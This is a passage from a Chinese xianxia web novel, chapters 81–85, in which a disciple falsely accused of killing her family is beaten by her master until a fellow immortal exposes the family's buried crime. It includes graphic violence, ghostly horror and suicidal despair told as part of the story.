宋霜冷笑,一甩手将信纸震了个粉碎,将发颤的手笼入了长袖中,还不待说话又听九师妹白荼道:“既是意外师兄不如就睁一只眼闭一只眼算了吧,修士入了无情道弑亲杀夫的先例不是没有过,凌云殿也是默许了的——”
“哼!我不管别人如何管教弟子,楚纤茉这孽徒居然罔顾人伦做出此等大逆不道之事,我宋霜万万容不得她再苟活于世!”
说罢一转身已经化作一道清风流云消失不见,徒留清言堂众峰主面面相觑。
水云仙连连摇头嗔怪白荼:“九师姐,你那两句多余不?越描越黑啊,这下老宋肯定以为楚纤茉是为了证道才杀人的,本来能一剑封喉的事儿这下非得挫骨扬灰不可!”
白荼愣了一下看向小师妹:“有什么区别吗?”
水云仙托腮沉思,好像是没什么区别……转头捅了两下旁边的花焚熠:“你怎么回事?平时不挺能叨叨的,刚才怎么不劝着点老宋?”
花焚熠如梦初醒,站起了身:“说完了吗?那我就回屋了,各位慢走。”
水云仙柳眉倒竖,看着那道飘然远去的白衣背影:“我就奇了怪了,这家伙是被七师兄传染了吗?最近是越来越宅了,大门不出二门不迈的,不知道的以为是守寡呢……”
清言堂里咳嗽声响成一片,叶静秋清清嗓子:“小师妹,勿要在背后妄议他人。”
“知道了师兄!”
水云仙回眸冲大师兄吐吐舌头,三两步走出清言堂,对着花焚熠的背影,深深提了一口气大喊:“花焚熠——你是不是让哪个姑娘给甩了?没关系,哭出来咱们是不会笑话你的!”
楚纤茉痴痴坐在原地,等待着即将来临的狂风暴雨,两具尸体像扎进眼睛里的两根尖刺,开始怀疑自己是不是又在做梦?只有梦里才会发生这么恐怖的事情吧?
她深深地闭上了眼睛,数了十几个数才重新缓缓睁开,希望从噩梦中醒过来,醒过来自己的阿娘和弟弟还活着,她不是那个众人口中毒如蛇蝎的怪物……为什么会发生这种事呢?
我该怎么办?师尊一会儿就来了吧?依照他的脾气定已经认定了是我杀了我阿娘和弟弟,半分容不得我辩解……
想着想着,她仿佛已经看到了宋霜阴沉似水的面色,暴雨雷霆般的怒喝炸响在耳边。
楚纤茉!你要是还有一丝人性,就自我了断吧!我宋霜没有你这样的孽徒!
楚纤茉轻轻一笑,摇了摇头,新的泪痕冲刷过脸上旧的泪痕,浮肿的眼皮被冷风吹得又疼又痒,撑着地上的双手渐渐收紧,死死蜷缩了起来。
没有人,从来没有人愿意毫无保留地信任她,从小到大都是,她的辩解全是谎言、全是狡辩,还有什么辩解的必要?左右没有人信
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,左右她也不在乎,逃不出命运的束缚,每次在她看到前途的一丝光亮时,暗黑中总有一双手将她重新拉回深渊。
她无声地笑着,笑得五脏六腑都在抽搐,剧烈地绞痛,仿佛生吞了几把钢刀,一个冷冰冰的声音刺入耳膜。
“又在装模作样博取别人的同情!你怎么还不去死?有没有点廉耻之心?我要是你早就一头碰死了!”
“孽女!你要还有点人性,不如拿根绳子勒死自己,去阴曹地府跟你娘忏悔去吧!”
“像你这种人迟早要遭报应的!还不知道怎么死呢!等到那日我定要掏出你的心肝看看是不是狼心狗肺!”
“早知今日我还不如当初掐死你!家门不幸啊!家门不幸啊!我到底是造了什么孽,老天派了你来惩罚我!”
“你脸皮怎么这么厚啊?我求你快滚吧!赖在这里还想气死爹爹不成?”
楚纤茉有心拿起剑在自己身上戳几百个窟窿,最好把神魂一起搅碎了,或许就不会这么痛苦了,可惜她没有十足的把握,所以不能死,无论如何都不能死,就算只剩一口气都要苟延残喘。
这么想着,她忽然就镇定了下来,手不再抖了,忽然感觉神魂像被钉在了地上,心绪出奇地宁静,甚至产生了这样一股念头,不再愧疚,不再害怕。
活该,楚珏谁让他一而再再而死地招惹我?至于那个女人,她只知道偏爱她儿子,拿我当猪狗般使唤,若非她想动手杀我怎么会出意外?
我没错,挡我的人都该死,楚珏该死,我阿娘也该死……
她抬眸看着远处恶狠狠瞪着自己的两个人,狞笑着脉脉低语:“楚雾欢该死……楚阔海也该死……”
晃晃悠悠站起身,看到了眼前一道颀长清寂的身影,身着玄衣脸色铁青,两点寒眸仿佛黑不见底的深渊,似乎要将她整个人吞噬。
楚纤茉本以为自己看见宋霜会有多胆战心惊,其实并没有,她出奇地平静,直到对方一巴掌将她扇翻在地,伤口愈合的唇角又流下了一道血线,滴滴答答,和着眼泪一起往下流。
她盯着砖缝里一颗绿油油的小草,它在夜风里打着哆嗦,应该是冷极了。
头发被人拽着,几乎将她的头皮都扯了下来,整个人从地上被提了起来。
她痛苦地挣扎了两下,一巴掌又扇了过来,整张脸都在发麻,又疼又痒,仿佛无数蚂蚁在脸上扑簌簌爬来爬去,身体重重摔在地上,双手在地上一撑,疼得仿佛断裂了一般,她剧烈地咳嗽着,感觉肠子都要挣断了,将喉咙里温热的血咽了回去,湿热的眸看向半蹲在眼前的人,她用血肉模糊了的、扭曲的手去触碰他的衣角,根根手指指肚都向上翻着,她脸上满是泪痕血污,眸中闪烁着冷残的寒意。
“师尊……弟子知错……弟子真的知错了……”
老牲口,你最好现在就弄死我,否则我活着一日,一定亲手剁碎了你!
82. 不忠不义
宋霜蹙着眉后退一步,楚纤茉那只伤残的手仿佛是什么秽物令他避之不及,手掌一翻地上那把长剑让他吸了过来,哐当一声摔在了楚纤茉面前,是什么意思显而易见。
“我梵净山向来有功必赏,有过必罚,你今日做下如此大逆不道之事,还不自戕谢罪,更待何时?”
叶斐等人再也看不下去了,连忙扑过来齐刷刷跪在宋霜面前,七嘴八舌地替楚纤茉辩解,无非是将信中的话又从头至尾讲了一遍。
宋霜撇过脸根本不听,看一眼楚纤茉都觉得脏了自己的眼睛,哂笑不止:“君要臣死臣不得不死,父要子亡子不得不亡,楚纤茉她本就残害了手足至亲,父母要她偿命何过之有?孽徒居然还敢忤逆犯上,致使其母惨死当场,归根结底皆是她一人之过!”
挥袖震开眼前拦挡的众人:“哪个再敢替这孽徒求情,与她同罪!”
穆晓晓都急哭了,连声求着楚纤茉:“小师妹!到底是怎么回事?楚珏是怎么死的,你倒是说啊!”
叶斐也急了:“是啊纤茉,你倒是替自己辩解两句啊!”
楚纤茉浑身伤是伤、血是血,披头散发跪在地上,垂着头不住地苦笑,眼神都涣散了,一口气堵在胸口,如鲠在喉。
她有什么可说的?她能说什么?
咯嘣嘣咬烂了唇内软肉,血顺着嘴角往下流,惨然失笑,忽然觉得自己仿佛想岔了,不能自杀,被别人杀了不就行了?
于是她跪直了身子,斩钉截铁道:“楚珏就是被我亲手所杀,请蘅泽君赐我一死。”
叶斐等人大惊失色,穆晓晓泪流满面嗓子都喊哑了:“小师妹你疯了吗?你在胡说八道什么?”
宋霜听了这话气得五官挪移,手中寒光一闪离泽剑直指楚纤茉咽喉:“今日本君非替天行道,杀了你这不忠不孝、不仁不义的孽畜!”
正在此时,空中忽然传来一声喊喝,宋霜的剑顿在了楚纤茉喉管处,但鲜血已然流了下来,可见的的确确是想要她性命的。
“剑下留人!”
众人齐齐循着声音望去,只见天边一道白光向这边飘来,离近一瞧,原来是一白衣女子侧坐在一只雪白仙鹿背上,那鹿撒欢奔跑,四蹄虚踩流云清风,朵朵金莲在鹿蹄下绽放,女子落在宋霜面前秀眉拧起:“宋师兄!你还真动手啊?”
宋霜执剑的手垂了下去,语气微微放缓:“小师妹,你来做什么,这是我蘅泽峰的私事,就不劳师妹插手了。”
水云仙被怼得脸色红一阵白一阵,心里直骂叶静秋,干嘛把这块烫手山芋扔她怀里啊,气不打一处来将掌门印信亮了出来:“大师兄说了,不许你意气用事,稀里糊涂就给别人定罪,既然是你徒弟你就应该避嫌,这桩案子由我全权处理。”
宋霜盯着那块掌门印信看了一会儿,流光溢彩、祥云笼罩,是真家伙,只好退后几步,心里却还不大服气,冷哼道:“请吧。”
水云仙这才松了口气,就怕这一根筋的八师兄犯起浑病来个先斩后奏,现在就看她的了。
“你,你,你,还有你,都跟我过来。”
叶斐、郁霄、穆晓晓还有楚纤茉都跟着她进了一间屋子,其他人都在外面等着,四个人进去齐齐给坐在正厅位置的十师叔见礼。
水云仙摆摆手一脸菜色:“行了行了,现在哪有时间嘘寒问暖啊,那个……叶斐啊,你出去找几个人来,刚才这事儿没走漏风声吧?”
叶斐忙道:“事关重大,弟子早就封锁消息了,请师叔放心。”
水云仙一听连连点头:“去吧,该怎么做你知道。”
叶斐:“弟子领命。”
水云仙接着又嘱咐穆晓晓:“你也去一趟,把当地的官绅找来,要保密,等到了我亲自问他。“
穆晓晓愣了一下,随即了然:“是,师尊。”
两人都出去了,郁霄等了半晌见水云仙只是喝茶,按捺不住问道:“十师叔,有什么弟子能帮上忙的吗?”
水云仙看他一眼:“还真有,你出去把门带上,守在门口不许偷听,不许放任何人进来。”
“是。”
郁霄一脸无奈,感情我是个多余的。
房间里就剩下水云仙和楚纤茉了,水云仙抬眼打量眼前人,这个惨啊,有心帮她治治伤吧,但又忍住了,哼,谁打的谁治,我倒要看看宋霜你一会儿怎么收场!
她清咳两声:“那个,楚纤茉啊,现在就你我两个人,法不传六耳,可以说说你的难言之隐了吧?”
楚纤茉不言语,看似想说什么,张张嘴又没声音了。
“对不起鹿鸣君,我实在是,说不出口。”
水云仙看着她微微点头:“说不出来?没关系,那就不说。”
她上前一步轻轻拍了拍楚纤茉满是鲜血的肩膀,楚纤茉微微松了一口气,她对女人向来没有什么戒心,觉得她们的好都是单纯的好,没有别的险恶用心。
水云仙身上有一股淡淡的清莲香气,清新雅致沁人心脾,楚纤茉微微缩了缩肩膀,生怕自己身上的污血弄脏了她的手,可是蓦然一抬头她愣住了,瞳孔骤然缩成了一个小点,连连倒退两步,嘴里发出的声音惨绝人寰。
宋霜听了这声音眉头一皱,几步赶到了厢房外面,郁霄连忙拦住,额角冒出几滴冷汗,硬着头皮道:“宋师叔对不起,十师叔吩咐了,不能让您进去。”
宋霜额角的青筋跳了跳,盯着那扇紧闭的房门:“小师妹!你在做什么?”
水云仙不答话,屋子里起先还断断续续传出楚纤茉的惨叫声和嘶吼声,后来就什么也听不见了,宋霜知道这是水云仙开了禁制,防止他人窃听。
他站在门口来回踱步,如同架在热油上烤炙一般,虽然说楚纤茉该死,但这样刑讯逼供也着实不妥……但转念又一想,不对,水云仙哪里是会刑讯逼供的人?就算有弟子当场顶撞她她都一笑了之,有时候甚至帮着一些犯了山规的小混蛋一起对付清言堂长老会,从小胳膊肘往外拐,人送外号——弟子们的避风港,同门师兄的漏风装。
不多时就见门开了,水云仙走了出来,虽然脸色极其严肃,但眉梢眼角俨然是一副幸灾乐祸的神态,将一个施加过密令的留音石给了他,宋霜踌躇片刻伸手接过,指尖凝气在那留音石上点了几下,除了他和水
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云仙以外,其他人听不到任何声音,只见宋霜两道剑眉逐渐立起,紧攥起拳头,骨节咯嘣嘣作响,嘴里一个劲儿念着“可杀!可杀!”
郁霄吓了一跳,还以为宋霜依旧要杀楚纤茉,没想到他一把捏碎了留音石,转头就向楚阔海他们走去。
楚阔海看着那玄衣如墨,宛如天神般不可一世的男子朝自己走来,膝盖一软跪在了地上,嘴里连连哭诉:“仙尊!请仙尊为小人做主啊!那丫头忤逆不孝,弑母杀弟,实在是不配做您的徒弟啊,有辱贵派体面啊!”
宋霜冷笑一声,居高临下看着他:“是吗?那请你扪心自问,楚纤茉忤逆不孝,你儿子楚珏又是个什么东西?”
楚阔海一听这话身子抖了一下,不过很快就稳住了心神,佯装糊涂,老泪纵横:“仙尊啊,我儿楚珏乖巧孝顺,是个好孩子啊,他如今被贱人所害,恳请仙尊看在我楚家绝后的份儿上,一定将那小贱人千刀万剐才是啊!”
“郁霄!”
宋霜大喝一声,脸上肌肉都在颤抖,还哪有半点仙风道骨的风采,俨然杀神附体、冷面修罗一般。
“给我掘地三尺!把东西找出来!”
楚阔海心道不好,急忙阻拦但也无济于事,郁霄领命后不敢懈怠,也不知道宋霜让他挖什么,东一头西一头拿剑往下划拉,水云仙一扶额头:“瓜娃子……去祠堂啊!”
一听此言楚阔海神色大变,当时三魂七魄吓走了一半,知道自己那点露脸的事糊弄旁人还行,瞒不住这两位手眼通天的仙尊,情知自己阻挡不住连忙往正堂屋里赶去,不一会儿就见一白发苍苍的老太太拄着拐棍,由楚阔海和楚雾欢搀扶着出来了,哭天抢地大放悲声:“不知我楚家列祖列宗哪里得罪了仙人们啊!老身给仙人们赔罪了!”
说着就要跪下,水云仙对这种倚老卖老的刁钻老太婆向来有一套,素手微抬将她快要跪到地上的双膝托起,转头道:“郁霄,去搬张椅子过来让老太太坐下。”
楚老太不依不饶,水云仙愣是将老太太按在了太师椅上,一颗天麻钩藤丸喂了下去,免得一会儿刨祠堂的时候老太太背过气去。
回过头去再吩咐郁霄:“贤侄啊,先把人家的列祖列宗请出来凉快凉快,免得一会儿地砖撬起来让尘土迷了眼睛,”又面向楚老太太,“您看这样行不?”
楚老太太、楚阔海气得肝颤,但拿人家没办法,岂止他们没办法,水云仙只要不惹到叶静秋头上,整个梵净山都拿她血招没有,水云仙也是深谙此道,故此在梵净山混得如驴得水,一干师兄师姐只有羡慕嫉妒恨的份儿。
不一会儿祠堂地板全让郁霄撬开了,他皱着眉从里面抬上来了一口小小的棺材,放在了院子里。
别人都还好,唯独楚纤茉见了这口棺材大叫一声险些闭过气去,连滚带爬到了棺木前,拼命往开推棺盖,奈何两只残废的手使不上半点劲,忽然哗啦一声,之前纹丝不动的棺材盖自己滑到了地上,楚纤茉整个人差点栽进去,瞪大眼睛看着躺在里面的尸体,那是一个比楚纤茉小了五六岁的女孩子,刚刚死去不久,除了没有呼吸之外跟常人无异,仿佛下一秒就会睁开眼睛。
83. 各揣心事
楚纤茉气噎咽喉,伏在棺材上身子微微抽搐,伸手去摸那女孩的面容,嘴里发出暗哑的哭喊声,听得在场众人有的寒毛直竖、有的不忍直视,不敢想这姑娘痛苦到了什么程度,被万刮凌迟也不过如此了。
她看似想大喊大叫,却悲哀到哭不出声音来,噎得两颊如同火烧,颗颗热汗顺着脸颊滚落,仰着的脖子几乎到了折断的地步,发出泣血呕心的一声尖叫,刺耳的声音有如一把钢针刺穿众人耳膜,再这样下去非得疯了不可,宋霜一闪身到了她背后,抬手劈在她后脖颈处,楚纤茉的身体往前晃了晃,瞳孔涣散,嘴角发黑的鲜血流成了一道线,昏过去前看着宋霜,眸底一片血色,万念俱灰的模样灼伤了宋霜的眼睛,他微一俯身接住了她软倒的身子,触到了满手粘稠的鲜血,只觉得两手没处放,竟不知道她身上到底有多少伤,更可恨的是,有一部分还是拜他所赐。
水云仙觑了一眼自家火药脾气一点就着的师兄,心里冷笑:这会儿知道心疼了,早干嘛去了,吃那啥也赶不上热乎的,孩子死了你来奶了……
笑眯眯看向楚阔海:“棺材里这姑娘是何人啊?死了不往坟地里埋,葬在祠堂里真是闻所未闻,还请楚老爷给本君解释解释。”
楚阔海张口结舌,都开始胡说八道了:“我我我我我不认识,鬼知道她是怎么,怎么出现在我家祠堂里的……”
水云仙微微蹙眉,忽然冷笑一声:“你不认识我倒认识,不如我把这姑娘叫回来,让她亲口问问你,为什么这般狠心,同样是亲骨肉,你的良心是被狗吃了还是让狼啃了?楚珏那畜生做出如此罔顾人伦之事,你竟纵子行凶,掩盖真相!还想趁机杀了楚纤茉来个死无对证,简直是枉为人父,猪狗不如!”
楚阔海听闻此言脸上颜色更改,一改之前的唯唯诺诺,一对牛眼直瞪着水云仙,往地上啐了一口,冷声道:“这是我的家事,轮得到你一个外人插手?楚纤茉是我生的,我让她死她就得死!至于那丫头,哼,她自个寻了短见怨不得旁人!”
水云仙就没见过这么厚颜无耻的人,一千年了,从来没被人气到玉府道心动摇过,连声叫好:“虎毒尚且不食子,行啊,我这外人的确不好管你们的家务事……”
楚阔海冷笑一声,他知道方外之人都是慈悲为怀善念为本,不会轻易跟凡人动手,否则于修行大大不利,所以才敢口出狂言,听到水云仙说不管了心下得意洋洋,这时就听水云仙又道:“那我把你这小女儿招回来吧,你们父女俩慢慢聊,不客气。”
楚阔海听了这话浑身颤抖起来,脸上血色仿佛退潮的海水,霎时间一片惨白,心里还抱有一丝侥幸,以为水云仙就是吓唬吓唬他,哪知道一股阴风打着旋儿进了院子里,呜呜地在头顶盘旋,所到之处灯也灭了,蜡烛也倒了,漆黑一片,一个八九岁小女孩的天真笑声回荡在每个人耳畔,饶是修道之人听了这声音都起一层鸡皮疙瘩,更别提凡夫俗子了,当即有人噗通一声倒在了地上,楚阔海战战兢兢四下张望着,两条腿突突乱颤,两鬓的冷汗顺着下巴往下滴,四下瞧不见半个鬼影,只有冷飕飕直沁骨髓的阴风,他心里不由又放松下来,色厉内荏地冷笑两声给自己壮胆:“死丫头!有本事你就出来啊!我是你爹!你敢把老子怎么样!”
“爹……”
一只惨白的小手搭在了他肩膀上。
楚阔海感觉肩头一沉,整个人石化在原地,心脏不会跳了,鬼使神差地慢慢转过头,看到一双大大的没有眼白的眼睛盯着自己,头颅仿佛被菜刀切了一下没切开的西瓜,里面花红脑浆微微颤动,发黑的血迹从她额头一直往下流,滑过高高的鼻梁……女孩瘪着嘴巴哭了起来,两条细细的腿仿佛章鱼的触手,死死盘在楚阔海腰上。
“爹,头头痛……爹,不要打我……”
“下去!滚下去!你给老子滚!”
楚阔海疯了一般拼命想甩开背上的小姑娘,用尽全力向后甩肩,用胳膊肘胡乱击打着,面目狰狞有如鬼怪。
小女孩仿佛粘在了他后背上纹丝不动,哭声渐渐止住,变成了咯咯的笑声,伴随着悠悠的叹息。
“爹,哥哥欺负我,我害怕,家里没有人,哥哥追着我,我掉进井里了,好冷啊……爹,你别拿铁锹砸我的头,我还没死啊,爹,你为什么这么狠心啊……”
“爹,你这么喜欢哥哥……不如就下去陪他吧……”
一把铁锹慢慢从楚阔海脑后伸了出来,铁锹上还沾着斑驳的血迹,女孩高高举起铁锹,用力朝楚阔海的脑袋砸了下来!
“啊!!!!!”
楚阔海跪在地上一声惨叫,嘴里往下流涎水,两只眼睛往不同的方向斜去,一会儿鼻子也塌了,嘴也歪了,手脚抽搐着,歪七扭八倒在地上口吐白沫人事不省了。
在其他人眼里,根本没有什么拿着铁锹、头上裂着大口子的小姑娘,只有发疯的楚阔海,忽然之间就开始满口说胡话,仿佛被什么脏东西附身了,又是跳又是叫,跟中邪了一样,最后抽风抽过去了。
只有宋霜明白是怎么回事,剑眉轻蹙瞪了水云仙一眼:“小师妹,差不多得了,不可滥造杀孽。”
水云仙翻了个白眼,指尖轻轻一动撤去了心魔大魇术。
楚阔海昏死过去,楚家剩余之人急忙抬进去抢救,水云仙暗笑不止,但既然都是当师叔的人了就得有长辈的样子,绷紧了脸回头看向郁霄:“贤侄啊,你去把你师兄师姐找的那些耆老乡邻都叫进来,让大伙儿讲两句公道话,看看究竟谁是谁非——”
“不用了。”
水云仙早就算准了会是这样,佯装糊涂回眸看宋霜:“师兄,都到这个地步了还是查个水落石出的好,不然以后又翻出旧账来大家脸上都不好看啊。”
宋霜知道她是奚落自己,也不理会,此时心乱如麻,他自诩公平正义,严于律己宽以待人,却对自己的徒弟半点不能容饶,口口声声逼她去死,如今想来一阵阵后怕,倘若楚纤茉真的一时激
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愤横剑自刎,他到如今还有何面目存活于世?
水云仙也不是得理不饶人之辈,好戏看到这里也过瘾了,摆摆手示意叶斐众人收拾残局,她自己也跟宋霜告辞,临走前又嘱咐了叶斐几句。
楚家自然不能再待了,几个人上外面找了一间客栈,将上房屋留给了宋霜,其他人各自去休息暂且不提。
宋霜的医术修为都没得说,有他在楚纤茉就算半身瘫痪了都能妙手回春,但是……心上的结又该怎么解开?
站在窗前对着中天长月神思飘荡,竟心烦意乱到玉府神台都在震颤,回眸看一眼躺在床榻上的柔弱身影,暗暗攥紧了拳头,以后再不可伤她分毫……黯然抚着挂在墙上的长剑,剑穗是一只憨态可掬的白玉小兔子,下面坠着米色流苏,不知为何,看到这只小兔子心底会产生异样的感觉,有无限的柔软,又有些莫名的酸涩,看久了心底一阵阵闷痛。
推开剑鞘,雪亮的剑刃上刻着三个篆体小字,他轻轻叹息,指尖不自觉地描摹着剑刃上的凹痕。
广寒阙……她给命剑起的名字都是这般清冷孤寂,足见心里究竟是不信任任何人的,也不知究竟有没有他这个师父半点位置,若说以前是有,他那一巴掌打下去,恐怕也将好不容易维系起来的一点依恋给打散了。
再一回首忽然见楚纤茉睁开了眼睛,怔怔然盯着床帐。
“纤茉!”
疾走几步到了床前,看着那张伤痕未消的脸却又不知该说些什么了,话在舌尖辗转千回,最后不咸不淡地问了一句:“可还觉得有不适之处?”
楚纤茉轻轻摇头,居然挣扎着从床上翻身起来,疼得脸上肌肉微微抽搐着,额头直冒虚汗,宋霜不觉往后倒退半步,心下一阵阵悲哀,他这小徒弟……看似温柔可欺,实则骨子里埋藏着一股狠劲儿,胸中怨气无处发泄于是全招呼在了自己身上,她跪在了床榻上,俯身向宋霜叩头,每一个动作都艰难万分,每一个字都吁吁带喘:
“弟子知错,请师尊责罚。”
宋霜负在身后的手紧握成拳,骨节泛着青白色,想说声“对不住,是为师错怪你了,原谅为师可好?”却怎么也说不出口,他平生就没有对什么人低过头,向来只有别人向他说软话的份儿,更别提楚纤茉是一个晚辈,而且还是他的弟子。
心中挣扎犹豫许久,最后侧过脸去,清咳一声轻描淡写:“楚家之事为师已然知晓,错不在你。”
楚纤茉跪在床上静静等着下文,宋霜却什么也不说了,她眸中最后一点希冀渐渐黯淡,化作再也燃不起来的死灰,罢了,罢了,这种事情不早就经历过千百次了吗?楚纤茉啊,你怎么还是不习惯,哪有人会在意你的感受,哪有人会为你感到委屈?你的父母手足、骨肉至亲尚且如此,可笑你居然指望一个外人替你喊冤抱屈?
她死死咬住嘴唇,将满腹寒气往下压,既然踏上了修仙一途,君子无时且耐时,总有一天,我不必再这般忍辱负重,委曲求全。
84. 霜雪初融
她含笑,乖驯,没有一丝脾气:“弟子多谢师尊查明真相,若非有师尊在,弟子当真百口莫辩了。”
宋霜又是一阵哑口无言……帮她查明真相的是水云仙,不是他这个师父。
将一瓶自己炼制的雪凝丹放在她枕边,不咸不淡又嘱咐了几句:“你伤势过重,”说到这里一阵脸红,“若是觉得勉强,为师帮你申请取消历练,随为师一同回蘅泽峰吧。”
楚纤茉不假思索地摇摇头:“弟子没有大碍,历练之事事关重要,我身为师尊的弟子,岂能因为这点小伤就畏缩不前?还请师尊成全!”
宋霜知道依她的性子定然不会答应,也不再勉强,忽然觉得自己再没有旁的理由继续留下了。
“那么为师就先回山了,你若再遇到危险就飞书传音,为师定及时赶到。”
楚纤茉愣了一下,有些受宠若惊,但更多的是一阵恐惧,就算刀架脖子上她也不敢给宋霜传信求救,求他不如求我波棱盖……
宋霜仿佛也意识到了这个问题,为什么别人的徒弟下山,三天两头给师尊寄信回来,尤其是水云仙,天天被包裹和信件淹没,那群弟子在山下见到三条腿的蛤蟆都要逮住装罐系上蝴蝶结寄给他十师叔看看……水云仙实在拿不动,一拖再拖等守山门的大爷上门拜访时,她就叫一群弟子往鹿鸣峰上搬,人缘好得令一众峰主羡慕嫉妒恨!
别人虽然不像水云仙这般夸张扯淡,但也隔三岔五收到来自座下弟子的关怀拜问,再反观宋霜这边,怎一个愁云惨淡了得?游历海外的暂且不提,这在自己眼皮子底下的小徒弟是怎么回事?你是没笔还是没纸,还是说在外面浪得忘记了家庭住址?
同样意志消沉的还有个嫣雨君,自从弟子历练活动开始之后,花焚熠的生活习性无限向摇情君匡月看齐,有望摘取摇情君梵净第一宅男的桂冠,据小道消息,掌门叶静秋曾上门慰问这位新晋宅男,本以为他这闭关两三个月也研究出了什么神兵利器,再不行你写篇学术报告也成啊,结果推门进去满地纸片乱飞,嫣雨君的确写了,但写的东西不能往官方媒体上发布……掌门僵在门口将盖到脸上的一张纸抹下来,定睛一看……乖徒不要离开为师……
那么大的掌门,同手同脚地出了听雨斋,替师弟关好了房门,嘱咐门内所有弟子,近期不要打扰嫣雨君。哪有那么多为什么?人家在进行文学创作,耽误了未来的文曲星你们赔得起吗?
再说宋霜,百感交集行至门口,回头看一眼还跪在床上的楚纤茉,顿感索然无味:“你好好休息,为师这便走了。”
“弟子恭送师尊。”
见宋霜款步离开,再也消失不见,楚纤茉含了许久的眼泪在此刻决堤而出,哭也不敢放声大哭,蜷缩在床脚咬着自己的胳膊,眼泪仿佛开闸泄洪一般,可叹这个时候苏潋影不在身边,那是她唯一敢倾诉苦衷的人,只有苏潋影才会真心待她好,也只有苏潋影,见过她所有狼狈的模样,在她轻生时抱着她,哭得比自杀者还撕心裂肺。
“苏苏……苏苏……”
她将腕上一条沾了血污的绿发带解下来死死按在胸口,仿佛这样就能堵住心上千疮百孔的伤口。
她哭到一半忽然觉得不对劲,一抬头见门口站了个人,面如朗月,目似寒星,一身玄衣在夜风中凌空飘舞。
楚纤茉吓得噎了一下,连哽咽都忘了,只有眼泪还在无声地流淌,手忙脚乱拿袖子擦了擦,可惜越擦越多。
不知为何,宋霜的脸色阴沉似水,步步朝她走来,那目光仿佛要将她生吞活剥了一般,喝令一声如同惊雷在她耳边炸响。
“孽徒!你还不认罪吗!”
楚纤茉吓得一哆嗦,心道:楚家的事不是解决了吗?师尊怎么又回来问我了?
她连连摇头:“弟子实在不知道又做错了什么,师尊要我认什么罪啊?”
宋霜扯着她的胳膊,楚纤茉扑通一声被拖到了地上,不知何时外面风声呜咽,暴雨如注,两扇房门被吹得嘎吱乱摇,啪嚓震响。
宋霜抬手一指屋外:“你不知道?那外面都是什么?”
外面一片漆黑,楚纤茉往前爬了两步,一道闪电打在院子里,只见十几个被雨水浇透、全身湿漉漉的人正死死瞪着她,那都是人吗?衣衫褴褛的、断胳膊断腿的、浑身烂疮的,最前面一个女人披头散发七窍流血,衣衫破破烂烂裹在身上,裸露在外的四肢满是淤青,她缓缓抬起头,一张脸血肉模糊,仿佛被人拿利器、烙铁毁了容貌一样,看到楚纤茉那女人突然就发疯了,张牙舞爪想要扑上来,大张着嘴“啊啊”地嘶吼着什么,黑洞洞的嘴巴里只有半截舌头……
楚纤茉脑袋嗡一下炸了,连连往后缩,却被一人狠狠推了出去。
楚纤茉站立不稳摔倒在水坑里,她胡乱摸索着想爬起来,手掌按在了一块软绵绵、热乎乎的东西上,下意识抓起来定睛一看,居然是半条血淋淋的舌头!
如同被蛇咬到一般,她连忙甩开那条舌头,两手撑着地上无助地往后缩。
一个声音在她耳边冷飕飕提醒道:“孽徒,这些人都是被你害死的梵净山弟子,你的师兄师姐,难道你都忘了吗?”
楚纤茉蓦然想起了什么,瞳孔骤缩,一股东窗事发后的慌乱迅速爬遍全身。
原来楚纤茉会一种妖术,可以转移自己的厄运,同门师姐拿走了她的东西,厄运由此转移,她发现之后如同发现了新大陆。周师姐拿走了她的发簪,不肯还给她,楚纤茉也不敢索要,后来周师姐不知怎的被簪子划伤了脸,怎么用药都治不好,这个情节,楚纤茉在冥界孽镜台里看到过,这明明是自己的结局,现在却移花接木般落在了别人头上……原来如此!
楚纤茉不想让自己过得那么惨,索性放任别人欺辱自己,不断转移自己的厄运,她身边的人越来越倒霉,拿走她衣服的险些被邪修抓走,声名尽毁,辱骂她的被妖兽挖去了灵根,成为废
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人。
她们都觉得楚纤茉是灾星,让宋霜赶走她,宋霜知道她们平时都欺负楚纤茉,并不理会,谁知竟无意间发现了楚纤茉的秘密,她将自己的东西故意放在显眼处,让别人拿走,又在房间里拿着妖界之物业称把玩。
宋霜怒不可遏,劈手给了她一巴掌,目眦欲裂:“楚纤茉,你太让我失望了,我原本以为你楚楚可怜、良善可欺,谁知你竟学这种妖术残害同门!我梵净山断乎容你不得!”
楚纤茉起先很是惶恐,后来渐渐把心一横,反正事已至此,大祸已经铸成了,苍凉一笑:“师尊,若非她们心术不正,岂会遭此横祸?这一切难道不是她们咎由自取吗?”
“孽徒!”宋霜气得发抖,“到现在你还不知悔改?”
他拿起业称当着楚纤茉的面,将原本微微倾斜的秤杆向反方向一调到底,楚纤茉看着他的眼神由凉薄到惶恐,最后是深深的绝望。
业称在宋霜手里化为灰烬,楚纤茉知道自己的命运再也无法改变。
宋霜拂袖而去时冷声道:“这原本就是你的命运,自己好好承受吧。”
……
宋霜走到半路才记起,应该给楚纤茉留点防身应急的符咒灵药,她一向多灾多病的,多带点药在身上准没错,谁知刚到门口就听见了呜呜咽咽的哭声,楚纤茉抱着自己的膝盖身体仿佛狂风暴雨中娇弱的荼蘼花,瑟瑟颤抖着,蓦然抬头满脸惊惧,见了他如同见了鬼一般,连滚带爬就想跑,翻滚下床跌跌撞撞光着脚就想去翻窗户,这可是二楼啊,掉下去非得摔出个好歹来。
宋霜满心疑窦,哪能看着她这么折腾,当即飞身上前将人揽进怀里,死死按住拼命挣扎的她,不知道她哪来这么大力气,在他怀里挣扎不休,仿佛恨不得跟他拼命。
“纤茉!楚纤茉!你这是怎么回事?刚才不是好好的?”
右手掐住她寸关尺脉,楚纤茉不动了,脑袋埋在他怀里,衣衫下单薄的蝴蝶骨上下起伏着。
宋霜凝神细察,眉头越蹙越紧,他就没见过哪个正常人的脉象能乱成这样,此时的楚纤茉,精神恍惚,心惊肉跳,悲恐交加,这种脉象若说他没见过也不尽然,大概只有疯子才有了。
一下一下抚着她单薄到硌手的后背,一条臂膀紧紧揽住她瑟瑟发抖的身体,平生第一次这般温柔地对一个人说话。
“好了,没事了,醒了就好,醒过来就好。”
一语点醒梦中人,楚纤茉耳边如有金钟玉鼓敲响,忽然“哇”一声哭了出来,宋霜胸前的衣服越来越潮,他也不敢撒手,现在的楚纤茉就是个瓷娃娃,哪里再经得起摔?
等她哭够了,这才红着两眼轻轻从他怀里退了开来,宋霜缓缓放下抱了她许久的双手,心里竟有些空落落的。
“做噩梦了?”
楚纤茉好半天才从自己居然抱着师尊哭的魔幻场景中回过神来……老天爷!这人可是宋霜啊……她都干了些什么!
85. 眉间落霜
楚纤茉悄悄窥视一眼,宋霜好像并没有生气,而且还在关心自己。
